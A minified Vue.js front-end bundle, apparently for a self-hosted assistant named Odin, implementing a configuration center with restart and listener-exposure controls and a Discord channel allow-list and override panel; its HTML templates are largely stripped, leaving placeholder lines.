kl.some(e=>e.key===t)?t:kl[0].key}catch{return kl[0].key}}const e1={template:` +
    +
    +
    +
    System settings
    +

    Configuration center

    +

    + {{ sectionCount }} sections · {{ fieldCount }} settings · revision {{ meta?.revision || 'unavailable' }} +

    +
    +
    + + + + +
    +
    + +
    + {{ toast.message }} +
    + +
    +
    +
    +
    +
    +
    +
    +
    + + + + +
    + `,setup(){const t=f(null),e=f(null),s=f(!0),n=f(null),a=f(!1),i=f(null),l=f(!1),r=f(""),o=f(!1),c=f(""),u=f(""),d=f("");function p(D){i.value=D||null,D&&typeof D.authorized=="boolean"&&(l.value=D.authorized)}async function B(){try{const D=await U.get("/api/setup/status");p(D.listener),d.value=""}catch(D){p(null),d.value=`Listener status could not be loaded: ${D.message||"Unknown error"}`}}async function h(){if(!(!Ce.value||!r.value.trim()||o.value||V.value)){o.value=!0,c.value="",u.value="";try{const D=U.setListenerExposure(r.value.trim(),l.value);r.value="";const Z=await D;c.value=Z.message,p(Z.listener)}catch(D){u.value=D.message||"Listener consent could not be saved."}finally{r.value="",o.value=!1}}}const b=f(null),w=["image_model","outer_model"],_=f(null),C=f(null),v=f(null),m=f(!1),y=f(!1),k=f(null),x=f(""),A=f("all"),S=f(XS()),L=f(ZS()),O=f({}),I=f({}),J=f(""),ie=f({}),te=f({}),R=f([]),j=f([]),N=f(!1),z=f(!1),ee=f(!1);let Q=null,Y=null,re={path:null,at:0},K=0;const _e=G(()=>{var D;return(((D=e.value)==null?void 0:D.fields)||[]).filter(Z=>!Uo.has(Z.path.split(".")[0])&&!Ah(Z.path))}),Ge=G(()=>new Map(_e.value.map(D=>[D.path,D]))),de=G(()=>De.value.reduce((D,Z)=>D+Z.sections.length,0)),ue=G(()=>_e.value.length),ve=G(()=>jS),$=G(()=>R.value.length>0),se=G(()=>j.value.length>0),De=G(()=>{if(!t.value)return[];const D=new Set(kl.flatMap(Pe=>Pe.sections)),Z=kl.map(Pe=>({...Pe,sections:Pe.sections.filter(ct=>Object.hasOwn(t.value,ct)&&!Uo.has(ct))})).filter(Pe=>Pe.sections.length),ce=Object.keys(t.value).filter(Pe=>!D.has(Pe)&&!Uo.has(Pe));return ce.length&&Z.push({key:"other",label:"Other",icon:"folder",sections:ce}),Z}),E=G(()=>t.value?{...t.value,...O.value}:null),M=G(()=>{if(!t.value)return[];const D=[];for(const[Z,ce]of Object.entries(O.value))Tb(t.value[Z],ce,Z,D);return D.filter(Z=>!gl(Z.oldVal,Z.newVal)).map(Z=>{const ce=$e(Z.path);return{...Z,label:(ce==null?void 0:ce.label)||il(Z.path.split(".").at(-1)),apply_mode:(ce==null?void 0:ce.apply_mode)||me(Z.path.split(".")[0])}})}),V=G(()=>M.value.length>0),Ce=G(()=>!!i.value&&l.value!==i.value.authorized),fe=G(()=>{var Z;const D=(Z=i.value)==null?void 0:Z.state;return D==="active"||D==="authorized_loopback"?"active":["pending_widening","pending_narrowing","active_rebind_pending"].includes(D)?"pending":D==="restricted"?"restricted":"unknown"}),be=G(()=>{var D;return{active:"Exposure active",authorized_loopback:"Authorized · loopback host",pending_widening:"Authorized · restart pending",pending_narrowing:"Restriction saved · restart pending",active_rebind_pending:"Exposed · restart pending",restricted:"Loopback only",unknown:"Runtime state unavailable"}[(D=i.value)==null?void 0:D.state]||"Loading listener state"}),Ae=G(()=>i.value?i.value.authorized?i.value.authorization_source==="explicit"?"Beyond-loopback access is explicitly authorized":"Beyond-loopback access is retained from this installation":"Beyond-loopback access is not authorized":"Unavailable"),W=G(()=>{var D;return{explicit:"saved explicitly in config.yml",default:"schema default; no web.host key is saved",unknown:"source could not be verified"}[(D=i.value)==null?void 0:D.configured_host_source]||"source unavailable"}),pe=G(()=>{const D=i.value;return!D||D.running_scope==="unavailable"?"Actual bound address unavailable":`${(D.listening_hosts||[]).map((ce,Pe)=>{var Ht;const ct=(Ht=D.listening_ports)==null?void 0:Ht[Pe];return ct?`${ce}:${ct}`:ce}).join(", ")} · ${D.running_scope==="loopback"?"loopback only":"accepting beyond loopback"}`}),ne=G(()=>M.value.length),ke=G(()=>new Set(M.value.map(D=>D.path.split(".")[0])).size),we=G(()=>!!x.value||A.value!=="all"),Le=G(()=>{const D={...te.value};for(const Z of M.value){const ce=$e(Z.path),Pe=Be(ce,Z.newVal);Pe&&(D[Z.path]=Pe)}return D}),je=G(()=>Object.keys(Le.value).length>0),tt=G(()=>t.value?(we.value?De.value:De.value.filter(Z=>Z.key===S.value)).map(Z=>({...Z,sections:Z.sections.filter(ce=>qs(ce))})).filter(Z=>Z.sections.length):[]),lt=G(()=>{const D=["live_read","live_apply","live_for_new_work","restart","activation_required","legacy_control","dormant"],Z=new Map(D.map(ce=>[ce,[]]));for(const ce of M.value){const Pe=Z.has(ce.apply_mode)?ce.apply_mode:"restart";Z.get(Pe).push(ce)}return D.filter(ce=>Z.get(ce).length).map(ce=>({key:ce,label:Ts(ce),entries:Z.get(ce)}))}),ae=G(()=>M.value.filter(D=>D.apply_mode==="restart").length),Se=G(()=>_e.value.filter(D=>D.pending_restart)),Te=G(()=>Se.value.length);function $e(D){const Z=Ge.value.get(D);return Z?{...Z,apply_details:Go([Z])}:null}function st(D){const Z=`${D}.`;return _e.value.filter(ce=>ce.path===D||ce.path.startsWith(Z))}function le(){return _e.value.some(D=>D.path==="tools.hosts"||D.path.startsWith("tools.hosts."))}function Fe(){var ce,Pe;const D=((Pe=(ce=t.value)==null?void 0:ce.tools)==null?void 0:Pe.hosts)||{},Z=Object.keys(D).length;return`${Z} host${Z===1?"":"s"} configured.`}function Ue(D){return st(D).length}function Oe(D){return il(D)}function He(D){const Z=st(D);if(!Z.length)return`${il(D)} configuration.`;const ce=Z.find(Ht=>Ht.sensitivity==="public"&&Ht.description)||Z.find(Ht=>Ht.description),Pe=(ce==null?void 0:ce.description)||"";return Pe.match(/setting for (.+)\.$/i)?`${il(D)} settings and runtime behaviour.`:Pe}function me(D){const Z=[...new Set(st(D).map(ce=>ce.apply_mode))];return Z.length===1?Z[0]:Z.includes("restart")?"restart":Z.includes("activation_required")?"activation_required":Z[0]||"restart"}function Ke(D){const Z=[...new Set(st(D).map(ce=>Ts(ce.apply_mode)))];return Z.length?Z.length===1?Z[0]:`Mixed apply behaviour: ${Z.join(" · ")}`:""}function We(D){return Go(st(D))}function gt(D){var Z;return Object.hasOwn(O.value,D)?O.value[D]:(Z=t.value)==null?void 0:Z[D]}function $t(){const D=gt("mcp")||{},Z=Object.keys(D.servers||{}).length;return`${D.enabled?"Globally enabled":"Globally disabled"} · ${Z} configured server${Z===1?"":"s"}.`}function ht(D,Z){return Z.split(".").reduce((ce,Pe)=>ce==null?void 0:ce[Pe],D)}function St(D){const Z=E.value;return st(D).filter(ce=>Ah(ce.path)?!1:ce.path.split(".").length<=2?!0:!ce.path.includes(".*")).map(ce=>({...ce,key:ce.path.split(".").at(-1),value:ht(Z,ce.path),apply_details:Go([ce]),editor:ce.path==="agents.final_warning_iterations"?"warning-chips":null}))}function ys(D){const Z=D.path.split(".");return Z.length>2?Z.slice(0,2).join("."):null}function zs(D){const Z=new Map;for(const ce of St(D)){const Pe=ys(ce),ct=Pe||`${D}.__root`;Z.has(ct)||Z.set(ct,{key:ct,path:Pe,entries:[]}),Z.get(ct).entries.push(ce)}return[...Z.values()].map(ce=>{const Pe=ce.entries.find(ct=>ct.group_description);return{...ce,label:ce.path?il(ce.path.split(".").at(-1)):null,description:(Pe==null?void 0:Pe.group_description)||null,apply_details:Go(ce.entries),runtime_summaries:ks(ce.entries)}})}function Sn(D){return{save:D.save_effect||(D.apply_mode==="dormant"?"Saving records this value in config.yml.":"Saving records this value and validates the section."),runtime:D.runtime_effect||{live_read:"Odin reads the saved value during current work.",live_apply:"Odin reloads this setting without a restart.",live_for_new_work:"New work uses the saved value; existing work keeps its snapshot.",restart:"Odin keeps using its startup value until a clean restart.",activation_required:"Odin keeps the current behavior until you enable this feature separately.",legacy_control:"Odin keeps the existing compatibility behavior until you apply this choice.",dormant:"This version of Odin does not use the saved value. Restarting will not activate it."}[D.apply_mode]||"Effective runtime state is not currently observable."}}function ks(D){const Z=new Map;for(const ce of D){const Pe=Sn(ce),ct=`${ce.apply_mode}|${Pe.save}|${Pe.runtime}`;Z.has(ct)||Z.set(ct,{key:ct,label:Ts(ce.apply_mode),save:Pe.save,runtime:Pe.runtime})}return[...Z.values()]}function Tn(D){if(ln(D))return D.runtime_effect||D.activation_policy||"";if(D.apply_mode==="activation_required"){const Z=D.activation_policy||D.runtime_effect;return Z?`Not active after saving. No activation control exists in this release. ${Z}`:"Not active after saving; no activation control exists in this release."}return""}function ln(D){return D.action_available===!0&&!!(D.action_label&&D.action_endpoint)}async function bn(D){if(ln(D))try{if(et(D.path))throw new Error("Save this setting before applying its action.");const Z=String(D.action_method||"POST").toLowerCase(),ce={post:U.post.bind(U),put:U.put.bind(U),delete:U.del.bind(U)}[Z];if(!ce)throw new Error("Unsupported configuration action");await ce(D.action_endpoint,D.action_body||void 0),await qa(),Ws("success",`${D.action_label} completed.`)}catch(Z){Ws("error",Z.message||`${D.action_label} failed`)}}function Fs(D,Z){return[D.label,D.path,D.description,...D.aliases||[]].filter(Boolean).join(" ").toLowerCase().includes(Z)}function da(D){const Z=x.value.trim().toLowerCase();return Z?st(D).filter(ce=>Fs(ce,Z)):[]}function qs(D){const Z=st(D);if(A.value!=="all"&&!Z.some(Pe=>Pe.apply_state===A.value))return!1;const ce=x.value.trim().toLowerCase();return!ce||`${Oe(D)} ${D}`.toLowerCase().includes(ce)?!0:Z.some(Pe=>Fs(Pe,ce))}function Gt(D,Z){return st(D).filter(ce=>ce.apply_state===Z).length}function Vs(D){return D==="all"?ue.value:_e.value.filter(Z=>Z.apply_state===D).length}function pa(D){const Z=D.sections.flatMap(ce=>st(ce));return{fields:Z.length,modified:M.value.filter(ce=>D.sections.includes(ce.path.split(".")[0])).length,pending_restart:Z.filter(ce=>ce.apply_state==="pending_restart").length,invalid:Z.filter(ce=>ce.apply_state==="invalid").length,dormant:Z.filter(ce=>ce.apply_state==="dormant").length}}function qn(D){var Z;return Object.hasOwn(O.value,D)&&!gl((Z=t.value)==null?void 0:Z[D],O.value[D])}function et(D){return M.value.some(Z=>Z.path===D||Z.path.startsWith(`${D}.`))}function rn(D){S.value=D,x.value="",A.value="all";try{localStorage.setItem(Db,D)}catch{}}function on(D){A.value=D}function Ks(){x.value="",A.value="all"}function oe(D){var Z;return((Z=De.value.find(ce=>ce.sections.includes(D)))==null?void 0:Z.sections)||[]}function Me(D){const Z=oe(D),ce=Z.find(Pe=>L.value[Pe]===!0);return ce||Z.find(Pe=>L.value[Pe]!==!1)||null}function Qe(D){return x.value&&!ee.value&&qs(D)?!0:ee.value?Me(D)===D:Object.hasOwn(L.value,D)?L.value[D]===!0:!0}function yt(D){const Z=!Qe(D);if(ee.value){const ce={...L.value};for(const Pe of oe(D))ce[Pe]===!0&&(ce[Pe]=!1);ce[D]=Z,L.value=ce;return}L.value={...L.value,[D]:Z}}function Vt(){R.value.push(Di(O.value)),R.value.length>VS&&R.value.shift(),j.value=[]}function is(){a.value||V.value&&(Vt(),O.value={},te.value={},N.value=!1)}function Ua(D,Z=!1){const ce=Date.now();if(Z&&re.path===D&&ce-re.atct-Pe);J.value="",Pt(D,ce)}function mi(D,Z){Pt(D,(D.value||[]).filter(ce=>ce!==Z))}function Ba(D){return D.apply_mode==="live_read"?"Odin reads the saved file value on next use.":D.apply_mode==="live_for_new_work"?"New work uses the saved file value.":D.apply_mode==="live_apply"?D.apply_handler?`Apply the saved value through ${D.apply_handler}.`:"Apply it through its dedicated owner page or endpoint.":D.apply_mode==="restart"?"Restart Odin for the saved collection to take effect.":D.apply_mode==="activation_required"?"Saving does not enable it. No activation control exists in this release.":D.apply_mode==="dormant"?"This release does not use the saved collection.":"Follow the runtime details shown for this setting."}function Ja(D){return D.type==="array"&&Array.isArray(D.value)&&!D.structured_container&&!D.structured_container_child&&D.sensitivity==="public"&&D.value.every(Z=>["string","number","boolean"].includes(typeof Z))}function Je(D){const Z=String(ie.value[D.path]??"").trim();if(!Z)return;const ce=[...new Set([...D.value||[],Z])];ie.value={...ie.value,[D.path]:""},Pt(D,ce)}function F(D,Z){Pt(D,(D.value||[]).filter(ce=>ce!==Z))}function Be(D,Z){var Pe;if(!D)return null;if((Pe=D.enum)!=null&&Pe.length&&!D.enum.includes(Z))return`Choose one of: ${D.enum.join(", ")}`;if(D.path==="agents.final_warning_iterations"&&(!Array.isArray(Z)||!Z.length))return"Add at least one warning threshold.";const ce=D.constraints||{};if((D.type==="integer"||D.type==="number")&&typeof Z=="number"){if(ce.minimum!==void 0&&Zce.maximum)return`Must be at most ${ce.maximum}${D.unit?` ${D.unit}`:""}`}return null}function Re(D){return Le.value[D.path]||null}function nt(D){const Z=`${D}.`;return Object.keys(Le.value).some(ce=>ce===D||ce.startsWith(Z))}function at(){a.value||R.value.length&&(j.value.push(Di(O.value)),O.value=R.value.pop(),te.value={},I.value={},re={path:null,at:0})}function ot(){a.value||j.value.length&&(R.value.push(Di(O.value)),O.value=j.value.pop(),te.value={},I.value={},re={path:null,at:0})}function es(){!V.value||je.value||(N.value=!0,z.value=!1)}function Ot(){N.value=!1}function Kt(){is()}function Ts(D){return zS[D]||il(D||"unknown")}function _t(D){return`apply-${String(D||"unknown").replaceAll("_","-")}`}function Hn(D){return`cfgc-field-${D.replace(/[^a-zA-Z0-9_-]/g,"-")}`}function za(D){return`${Hn(D)}-input`}function co(D){const Z=document.getElementById(Hn(D))||document.getElementById(Hn(D.split(".").slice(0,2).join(".")));Z==null||Z.scrollIntoView({behavior:"smooth",block:"center"})}function Ws(D,Z){C.value={type:D,message:Z},window.setTimeout(()=>{var ce;((ce=C.value)==null?void 0:ce.message)===Z&&(C.value=null)},3500)}function cu(){m.value=!1,A.value="pending_restart",x.value="";const D=JS(n.value);D&&(D.scrollTop=0)}function uu(){m.value=!1}function uo(D=1800){Y&&window.clearTimeout(Y),Y=window.setTimeout(du,D)}async function du(){if(y.value){if(K+=1,K>45){y.value=!1,k.value="Odin did not return with the new startup settings within 90 seconds.";return}try{if(e.value=await nr(),Te.value===0){y.value=!1,k.value=null,Ws("success","Odin restarted and the saved startup settings are active.");return}}catch{}uo(2e3)}}async function pu(){if(!y.value){k.value=null;try{await U.post("/api/restart",{}),y.value=!0,K=0,m.value=!1,uo()}catch(D){k.value=D.message||"Odin could not schedule a restart."}}}async function po(){if(!(!V.value||je.value||a.value)){a.value=!0;try{const D=YS(t.value,O.value),Z=await U.put("/api/config",D);t.value=Z,O.value={},R.value=[],j.value=[],te.value={},N.value=!1;try{e.value=await nr(),v.value=null,m.value=Te.value>0,Ws("success",Te.value?`Configuration saved. ${Te.value} setting${Te.value===1?"":"s"} still use startup values.`:"Configuration saved. Apply status has been refreshed.")}catch(ce){v.value=ce.message||"Unknown metadata error.",Ws("error",`Configuration saved, but apply status could not be refreshed: ${v.value}`)}}catch(D){Ws("error",D.message||"Configuration could not be saved")}finally{a.value=!1}}}async function fu(){if(!a.value){a.value=!0,b.value=null;try{e.value=await nr(),v.value=null}catch(D){b.value=`Image model status could not be refreshed: ${D.message||"Unknown error"}`}finally{a.value=!1}}}async function Bu(D,Z){if(a.value||!["follow","pin"].includes(Z)||!D.length||D.some(Pe=>{var ct,Ht;return!w.includes(Pe)||!((Ht=(ct=e.value)==null?void 0:ct.image_model_defaults)!=null&&Ht[Pe])}))return;a.value=!0,b.value=null;let ce=!1;try{const Pe=await U.post("/api/config/image-models",{operations:Object.fromEntries(D.map(ct=>[ct,Z])),expected_revision:e.value.image_model_revision});ce=!0;for(const ct of D){const Ht=`image.openai.${ct}`,Cn=ht(t.value,Ht),Ms=ht(Pe.config,Ht),Ka=Qs=>!Object.hasOwn(Qs,"image")||!gl(ht(Qs,Ht),Cn)?Qs:fa(Qs,Ht.split("."),Ms);O.value=Ka(O.value),R.value=R.value.map(Ka),j.value=j.value.map(Ka),t.value=fa(t.value,Ht.split("."),Ms)}e.value={...e.value,image_model_defaults:Pe.image_model_defaults,image_model_revision:Pe.image_model_revision},Ws("success","Image model defaults saved. Unrelated drafts were not saved.")}catch(Pe){b.value=`Image model operation failed: ${Pe.message||"Unknown error"}. Refresh status before retrying if the outcome is uncertain.`}try{e.value=await nr(),v.value=null}catch(Pe){const ct=`Image model status could not be refreshed: ${Pe.message||"Unknown error"}`;v.value=ct,b.value=ce?`Image model defaults were saved, but ${ct}`:`${b.value} ${ct}`}finally{a.value=!1}}async function qa(){var D,Z;if(!(V.value||a.value)){s.value=!0,_.value=null;try{const ce=await U.get("/api/config"),Pe=await nr();await B(),t.value=ce,e.value=Pe,v.value=null;const ct=De.value;if(ct.some(Ht=>Ht.key===S.value)||(S.value=((D=ct[0])==null?void 0:D.key)||kl[0].key),ee.value){const Cn=(((Z=ct.find(Ms=>Ms.key===S.value))==null?void 0:Z.sections)||[]).find(Ms=>L.value[Ms]===!0);L.value=Cn?{...L.value,[Cn]:!0}:{}}}catch(ce){_.value=ce.message||"Unknown configuration error"}finally{s.value=!1}}}function Va(D){if(N.value||!(D.ctrlKey||D.metaKey))return;const Z=D.target;Z instanceof HTMLElement&&(Z.matches("input, textarea, select")||Z.isContentEditable)||(!D.shiftKey&&D.key.toLowerCase()==="z"?(D.preventDefault(),at()):(D.key.toLowerCase()==="y"||D.shiftKey&&D.key.toLowerCase()==="z")&&(D.preventDefault(),ot()))}function Qi(D){ee.value=D.matches}us(L,D=>{try{localStorage.setItem(kb,JSON.stringify(D))}catch{}},{deep:!0});let vi=!1;function Yi(){vi||(vi=!0,document.addEventListener("keydown",Va))}function $l(){vi&&(vi=!1,document.removeEventListener("keydown",Va))}return dt(()=>{var D;qa(),Yi(),Q=window.matchMedia("(max-width: 760px)"),Qi(Q),(D=Q.addEventListener)==null||D.call(Q,"change",Qi)}),hs(Yi),as($l),as(()=>{r.value=""}),It(()=>{var D;r.value="",$l(),(D=Q==null?void 0:Q.removeEventListener)==null||D.call(Q,"change",Qi),Y&&window.clearTimeout(Y)}),{listenerState:i,listenerConsent:l,listenerCredential:r,listenerSaving:o,listenerMessage:c,listenerError:u,listenerStatusError:d,listenerChoiceChanged:Ce,listenerStatusTone:fe,listenerStatusLabel:be,listenerAuthorizationCopy:Ae,listenerConfiguredSourceCopy:W,listenerRunningCopy:pe,saveListenerConsent:h,armKeydown:Yi,disarmKeydown:$l,handleKeydown:Va,config:t,meta:e,loading:s,saving:a,error:_,toast:C,metaRefreshError:v,restartPromptOpen:m,restartScheduled:y,restartError:k,configMain:n,imageModelError:b,imageModelLeaves:w,setImageModelDefaults:Bu,refreshImageModelMetadata:fu,searchQuery:x,healthFilter:A,activeCategory:S,reviewOpen:N,mobileOverflowOpen:z,warningThresholdInput:J,arrayInputs:ie,healthFilters:ve,visibleCategories:De,displayGroups:tt,reviewGroups:lt,sectionCount:de,fieldCount:ue,hasChanges:V,changeCount:ne,changedSectionCount:ke,hasDraftErrors:je,canUndo:$,canRedo:se,globalFilterActive:we,reviewRestartCount:ae,pendingRestartCount:Te,pendingRestartFields:Se,healthCount:Vs,categoryStats:pa,selectCategory:rn,selectHealthFilter:on,clearFilters:Ks,sectionLabel:Oe,sectionDescription:He,sectionFieldCount:Ue,sectionHealthCount:Gt,sectionApplySummary:Ke,sectionApplyDetails:We,sectionEntries:St,fieldGroups:zs,sectionSearchHits:da,mcpConfigSummary:$t,fieldRuntimeCopy:Sn,fieldSpecificRuntimeNote:Tn,hasHonestAction:ln,runFieldAction:bn,hasHostsCollection:le,hostsConfigSummary:Fe,sectionChanged:qn,fieldChanged:et,isSectionExpanded:Qe,toggleSection:yt,discardAllDrafts:is,setFieldValue:Pt,setNumberFieldValue:gi,numberInputValue:Kn,beginInputEdit:cn,endTextInputEdit:ds,endInputEdit:Vn,addWarningThreshold:ja,removeWarningThreshold:mi,isScalarArray:Ja,addScalarArrayItem:Je,removeScalarArrayItem:F,fieldError:Re,sectionHasErrors:nt,undo:at,redo:ot,openReview:es,closeReview:Ot,mobileCancel:Kt,applyModeLabel:Ts,applyClass:_t,compactValue:WS,formatValue:QS,structuredApplyCopy:Ba,fieldId:Hn,fieldInputId:za,focusField:co,fetchConfig:qa,saveConfig:po,restartOdin:pu,restartLater:uu,reviewPendingRestart:cu}}},t1=/^\d{15,25}$/;function Ab(t){return String((t==null?void 0:t.display_name)||(t==null?void 0:t.username)||(t==null?void 0:t.id)||"Unknown user")}const Rb={props:{members:{type:Array,default:()=>[]},excludedIds:{type:Array,default:()=>[]},placeholder:{type:String,default:"Search Discord users…"},ariaLabel:{type:String,default:"Search Discord users"},optionsId:{type:String,required:!0},autofocus:{type:Boolean,default:!1},showAddButton:{type:Boolean,default:!1}},emits:["select"],template:` +
    + + +
    + + +
    +
    + `,setup(t,{emit:e}){const s=f(""),n=f(!1),a=f(0),i=f(null),l=G(()=>new Set((t.excludedIds||[]).map(String))),r=G(()=>{const k=s.value.toLowerCase().trim();return(t.members||[]).filter(x=>l.value.has(String(x.id))?!1:k?p(x).toLowerCase().includes(k)||String(x.username||"").toLowerCase().includes(k)||String(x.id).includes(k):!0)}),o=G(()=>{const k=s.value.trim();return r.value.length===0&&t1.test(k)&&!l.value.has(k)?k:""}),c=G(()=>r.value.length+(o.value?1:0)),u=G(()=>!!s.value.trim()&&!!(r.value[a.value]||o.value&&a.value===r.value.length)),d=G(()=>{if(n.value){if(r.value[a.value])return`${t.optionsId}-${a.value}`;if(o.value&&a.value===r.value.length)return`${t.optionsId}-raw`}});function p(k){return Ab(k)}function B(){n.value=!0,a.value=0}function h(){B()}function b(){const k=Math.max(c.value-1,0);a.value=Math.min(a.value+1,k)}function w(){a.value=Math.max(a.value-1,0)}function _(){const k=r.value[a.value];k?C(k):o.value&&a.value===r.value.length&&v(o.value)}function C(k){v(String(k.id))}function v(k){e("select",k),s.value="",n.value=!1,a.value=0}function m(){n.value=!1}function y(){setTimeout(m,150)}return dt(()=>{t.autofocus&&ns(()=>{var k;return(k=i.value)==null?void 0:k.focus()})}),{query:s,open:n,highlightedIndex:a,input:i,filteredMembers:r,rawId:o,activeOptionId:d,selectableValue:u,memberName:p,openOptions:B,onInput:h,highlightNext:b,highlightPrevious:w,selectHighlighted:_,selectMember:C,selectId:v,closeOptions:m,onBlur:y}}};function Rh(t,e,s){var n;return((n=t==null?void 0:t.config)==null?void 0:n[e])!=null?t.config[e]:s==null?void 0:s[e]}const s1={components:{DiscordUserCombobox:Rb},template:` +
    +
    +

    Discord Channels

    + +
    +
    +
    +
    +

    Gateway connection

    + {{ connectionState.label }} +
    +

    {{ connectionState.detail }}

    +
    + Configured + No usable credential + {{ connection.credential_preferred_storage ? 'Stored in the preferred environment format' : (connection.credential_usable ? 'Legacy storage; replace to migrate' : 'Not stored') }} +
    +
    +
    +
    + + +
    +
    + + +
    +
    + +
    +

    + For ordinary conversational intake, allowed users and channels are absolute global gates; guild and channel settings cannot readmit a blocked message. + Explicitly allowed test webhooks bypass the user gate. Require-mention and bot-response behavior + resolve channel → guild → global. An explicit mention bypasses the ignored-bot list, but the effective respond-to-bots policy still applies. + Changes take effect immediately. +

    + +
    +
    +
    +
    +

    {{ error }}

    + +
    + +
    +
    +
    +
    +

    Global defaults

    +

    Allowed users and channels are absolute. Require-mention and bot-response values are defaults that guild or channel settings may override.

    +
    +
    + +
    + + +
    +
    +
    +
    {{ editor.label }} +
    + ? +

    {{ editor.description }}

    +
    +
    +
    + {{ globalItemLabel(editor, item) }} + + + No entries +
    +
    + +
    +
    + + +
    +
    +
    + +
    + +
    + +
    +
    + +
    + {{ guild.name.charAt(0) }} +
    +
    + {{ guild.name }} + {{ guild.member_count }} members +
    +
    +
    + + + + +
    +
    + + +
    +
    + + + + + + + + + + + + + + + + + + + + + +
    ChannelCategoryEnabledRequire @mentionRespond to botsOverride
    #{{ ch.name }}{{ ch.category || '—' }} + + + + + + + + inherit +
    +
    +
    +
    +
    +
    + `,setup(){const t=f([]),e=f({persisted:!1,credential_usable:!1,credential_preferred_storage:!1,connection:{state:"unavailable",detail:"Connection status unavailable"}}),s=f(""),n=f(!1),a=f(!1),i=f(null);let l=null;const r=f(!0),o=f(null),c=f({}),u=f(null),d=f(null),p=f(!1),B=f(null),h=f({}),b=f([]);let w=0;const _=Object.freeze([{key:"allowed_users",label:"Allowed users",description:"Absolute gate for ordinary conversational intake. Guild/channel settings cannot readmit blocked users; explicitly allowed test webhooks bypass this gate.",placeholder:"Search users",userAutocomplete:!0},{key:"channels",label:"Allowed channels",description:"Absolute gate for ordinary conversational intake. Guild/channel settings cannot readmit blocked channels.",placeholder:"Search channels"},{key:"ignore_bot_ids",label:"Ignored bot IDs",description:"Ignored unless the bot explicitly mentions Odin; the effective respond-to-bots policy still applies.",placeholder:"Bot ID",userAutocomplete:!0}]),C=G(()=>{var se,De,E,M;const ue=String(((De=(se=e.value)==null?void 0:se.connection)==null?void 0:De.state)||"").toLowerCase();return{...{connected:{key:"connected",label:"Connected",badgeClass:"badge-success"},connecting:{key:"connecting",label:"Connecting",badgeClass:"badge-warning"},disconnected:{key:"disconnected",label:"Disconnected",badgeClass:""},detached:{key:"disconnected",label:"Disconnected",badgeClass:""},detaching:{key:"disconnected",label:"Disconnected",badgeClass:""},stopped:{key:"unavailable",label:"Unavailable",badgeClass:"badge-warning"},failed:{key:"unavailable",label:"Unavailable",badgeClass:"badge-warning"}}[ue]||{key:"unavailable",label:"Unavailable",badgeClass:"badge-warning"},detail:((M=(E=e.value)==null?void 0:E.connection)==null?void 0:M.detail)||"Connection status unavailable"}}),v=G(()=>JSON.stringify(u.value)!==JSON.stringify(d.value)),m=G(()=>new Map(b.value.map(ue=>[String(ue.id),ue])));function y(ue){return ue.config&&ue.config.enabled!==void 0?ue.config.enabled:!0}function k(ue){return Rh(ue,"require_mention",u.value)}function x(ue){return Rh(ue,"respond_to_bots",u.value)}function A(ue){return ue.config&&Object.keys(ue.config).length>0}function S(ue){c.value[ue]=!c.value[ue]}function L(ue){const ve=ue.discord||{};return{allowed_users:[...ve.allowed_users||[]],channels:[...ve.channels||[]],respond_to_bots:!!ve.respond_to_bots,require_mention:!!ve.require_mention,ignore_bot_ids:[...ve.ignore_bot_ids||[]]}}async function O({showLoading:ue=!0}={}){const ve=++w;ue&&(r.value=!0),o.value=null;try{const $=await U.get("/api/discord/guilds");ve===w&&(t.value=$)}catch($){ve===w&&(o.value=$.message)}finally{ue&&ve===w&&(r.value=!1)}}async function I(){try{e.value=await U.get("/api/discord/connection"),i.value=null}catch(ue){i.value=ue.message}}async function J(ue,ve=null){if(!a.value){a.value=!0,i.value=null;try{const $={operation:ue};ve!==null&&($.token=ve),e.value=await U.post("/api/discord/connection",$),ue==="credentials"&&(s.value="",n.value=!1)}catch($){i.value=$.message||"Connection update failed."}finally{a.value=!1}}}function ie(){if(!(!n.value||!s.value))return J("credentials",s.value)}function te(){return J("connect")}function R(){return J("detach")}async function j(){r.value=!0,o.value=null;try{const[ue,ve,$]=await Promise.all([U.get("/api/discord/guilds"),U.get("/api/discord/members").catch(()=>[]),U.get("/api/config")]),se=L($),De=v.value;u.value=se,De||(d.value=JSON.parse(JSON.stringify(se))),b.value=ve,t.value=ue,B.value=null}catch(ue){o.value=ue.message}finally{r.value=!1}}let N=Promise.resolve();const z=f(new Set);function ee(ue,ve){const $=new Set(z.value);$.add(ue),z.value=$;const se=N.then(ve);return N=se.catch(()=>{}),se.finally(()=>{const De=new Set(z.value);De.delete(ue),z.value=De})}function Q(ue,ve,$,se){const De=(se==null?void 0:se.target)??null;return ee(`guild:${ue}:${ve}`,async()=>{try{await U.put("/api/discord/guild/"+ue+"/config",{[ve]:$}),await O({showLoading:!1})}catch(E){o.value=E.message,De&&typeof $=="boolean"&&(De.checked=!$)}})}function Y(ue,ve,$,se,De){const E=(De==null?void 0:De.target)??null;return ee(`channel:${ue}:${$}`,async()=>{try{await U.put("/api/discord/channel/"+ue+"/config",{[$]:se}),await O({showLoading:!1})}catch(M){o.value=M.message,E&&typeof se=="boolean"&&(E.checked=!se)}})}function re(ue,ve){return ee(`channel:${ue}:clear`,async()=>{try{await U.put("/api/discord/channel/"+ue+"/config",{clear:!0}),await O({showLoading:!1})}catch($){o.value=$.message}})}function K(ue,ve){const $=String(ve);if(!ue.userAutocomplete)return $;const se=m.value.get($);return se?Ab(se):$}function _e(ue,ve=null){const $=String(ve??h.value[ue]??"").trim();!$||d.value[ue].includes($)||(d.value[ue]=[...d.value[ue],$],h.value={...h.value,[ue]:""})}function Ge(ue,ve){d.value[ue]=d.value[ue].filter($=>$!==ve)}async function de(){if(!(!v.value||p.value)){p.value=!0,B.value=null;try{const ve=(await U.put("/api/config",{discord:d.value})).discord||d.value;u.value={allowed_users:[...ve.allowed_users||[]],channels:[...ve.channels||[]],respond_to_bots:!!ve.respond_to_bots,require_mention:!!ve.require_mention,ignore_bot_ids:[...ve.ignore_bot_ids||[]]},d.value=JSON.parse(JSON.stringify(u.value))}catch(ue){B.value=ue.message||"Global defaults could not be saved."}finally{p.value=!1}}}return 